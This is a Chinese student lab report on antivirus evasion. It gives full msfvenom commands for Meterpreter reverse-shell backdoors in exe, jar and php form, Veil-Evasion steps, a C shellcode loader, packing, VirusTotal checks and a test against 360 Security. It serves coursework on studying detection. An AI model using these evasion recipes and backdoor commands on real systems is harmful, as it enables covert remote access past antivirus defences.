标签：shellcode 开启 处理 社工 也有 enc pre shell 管理
| 一、学习目标 |
(1)正确使用msf编码器（0.5分），msfvenom生成如jar之类的其他文件（0.5分），veil-evasion（0.5分），加壳工具（0.5分），使用shellcode编程（1分）
(2)通过组合应用各种技术实现恶意代码免杀(0.5分)（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。）
(3)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本（加分0.5）
| 二、基础知识 |
简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
启发式Heuristic，简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点：
以检测0-day恶意软件
具有一定通用性
缺点：
实时监控系统行为，开销稍多
没有基于特征码的精确度高
最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，
所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。
1.2 免杀技术(Evading AV)综述
总体技术有：
改变特征码
如果你手里只有EXE
加壳：压缩壳 加密壳
有shellcode(像Meterpreter）
有源代码
改变行为
非常规方法
留后门的思路是这样的：
当然最好的方法，还是手工打造，自己从头编一个，没有通用工具的特征，AV软件也就杀不出来了。
| 三、实验步骤 |
使用msfvenom -l encoders查看可以用于生成后门的编码器
使用实验二生成的后门程序，放在VirusTotal上进行扫描，结果如下：
用VirusTotal扫描后结果如下：
将编码一次生成的后门程序进行扫描，一次编码：-e选择编码器，-b是payload中需要清除的字符，该命令中为了使\x00‘不出现在shellcode中，因为shellcode以\x00‘为结束符。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.61.128 LPORT=5327 -f exe > encoded1.exe结果如下：
生成的截图：
使用VirusTotal检测截图：
将编码十次生成的后门程序进行扫描，结果如下：
生成的截图：
使用VirusTotal检测截图：
可见多次编码对于免杀没有太大的帮助，主要有两点原因：
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor_java.jar
生成过程截图
使用VirusTotal检测截图
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 x> dwt_backdoor.php
生成过程截图
使用VirusTotal检测截图
我们首先使用sudo apt-get update命令和sudo apt-get upgrade命令进行更新
用sudo apt-get install veil命令安装Veil
之后使用veil命令打开Veil，输入s继续安装直到完成（s为默认安装）
输入use evasion，进入veil-evasion
输入use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IPset LHOST 192.168.61.128
设置端口set LPORT 5327
查看配置options
输入generate生成文件，接着输入生成的文件名
扫描结果：
用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.128 LPORT=5327 -f c生成一段shellcode
然后我们用vim命令创建一个文件20175327.c，然后将unsigned char buf[]赋值到其中，内容如下：
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入i686-w64-mingw32-g++ 20175327.c -o 20175327.exe，将此文件编译为可执行文件。
在VirusTotal检测截图
给之前的20175327.exe加个壳得到20175327_upx.exe:
virus totals检测结果：
通过virus totals：
输入veil之后再输入use evasion进入免杀平台：
输入list可以查看可用的payloads
输入use python/meterpreter/rev_tcp.py进入配置页面，可以看到现在options还是默认值，因此我们需要设置某些options。
输入set LHOST 192.168.255.129和set LPORT 5327，分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果
生成文件时，系统会问如何创建负载可执行文件？，我选的是2 Py2Exe，然后就能看到文件的存放目录了
virus totals检测结果：
在上文中可以看到veil生成后门文件，使用Python语言就是能实现免杀功能。
在刚刚的文件的基础上加压缩壳和加密壳，来实现免杀。
电脑环境：Windows7
杀毒软件：360安全卫士
杀软版本：12.1.0.1004
查杀时间：2020.03.29
| 三、实验中的问题 |
1、在加密壳时出现问题
解决方法
使用管理员身份sudo -s
2、veil安装过程的问题
经常会有下载不成功，先睡一觉，醒来下载网速突然飞奔
| 四、基础问题回答和实验体会 |
1、杀软是如何检测出恶意代码的？
基于特征码的检测：简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
启发式恶意软件检测：启发式Heuristic，简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说，就是如果一个软件在干通常是恶意软件干的事，看起来了像个恶意软件，那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件，典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
优点：
可以检测0-day恶意软件
具有一定通用性
缺点：
实时监控系统行为，开销稍多
没有基于特征码的精确度高
基于行为的恶意软件检测：最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。
2、免杀是做什么？
使用一些技术手段对恶意软件做处理，让它不被杀毒软件所检测。同时，免杀也是渗透测试中需要使用到的技术。
3、免杀的基本方法有哪些？
（1）改变特征码
如果你手里只有EXE—— 加壳：压缩壳 加密壳
有shellcode(像Meterpreter)—— 用encode进行编码；基于payload重新编译生成可执行文件
有源代码—— 用其他语言进行重写再编译（veil-evasion）
（2）改变行为
通讯方式：尽量使用反弹式连接；使用隧道技术；加密通讯数据
操作模式：基于内存操作；减少对系统的修改；加入混淆作用的正常功能代码
（3）非常规方法
使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
使用社工类攻击，诱骗目标关闭AV软件。
纯手工打造一个恶意软件
4、开启杀软能绝对防止电脑中恶意代码吗？
回答：不能。因为杀软在更新病毒库，恶意代码虽然可以不断用新的方式获得免杀，但是只要杀软记录到某个进程执行操作的异常情况，就可以立即记录相关信息，更新病毒库。
本次实验中所遇大问题就是veil的安全，克隆的速度极慢，而且总是挂断，但是早上速度就很快，没十几分钟就下好了，当然也可以选择用流量会快一点，我认为我对免杀处理的理解不到位，应该多学习，反复琢磨实验中的步骤和问题。
| 五、参考资料 |
2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践
kali201703安装Veil Evasion
2019-2020-2 20175327《网络对抗技术》Exp3 免杀原理与实践
标签：shellcode 开启 处理 社工 也有 enc pre shell 管理
原文地址：https://www.cnblogs.com/hollfull/p/12611527.html
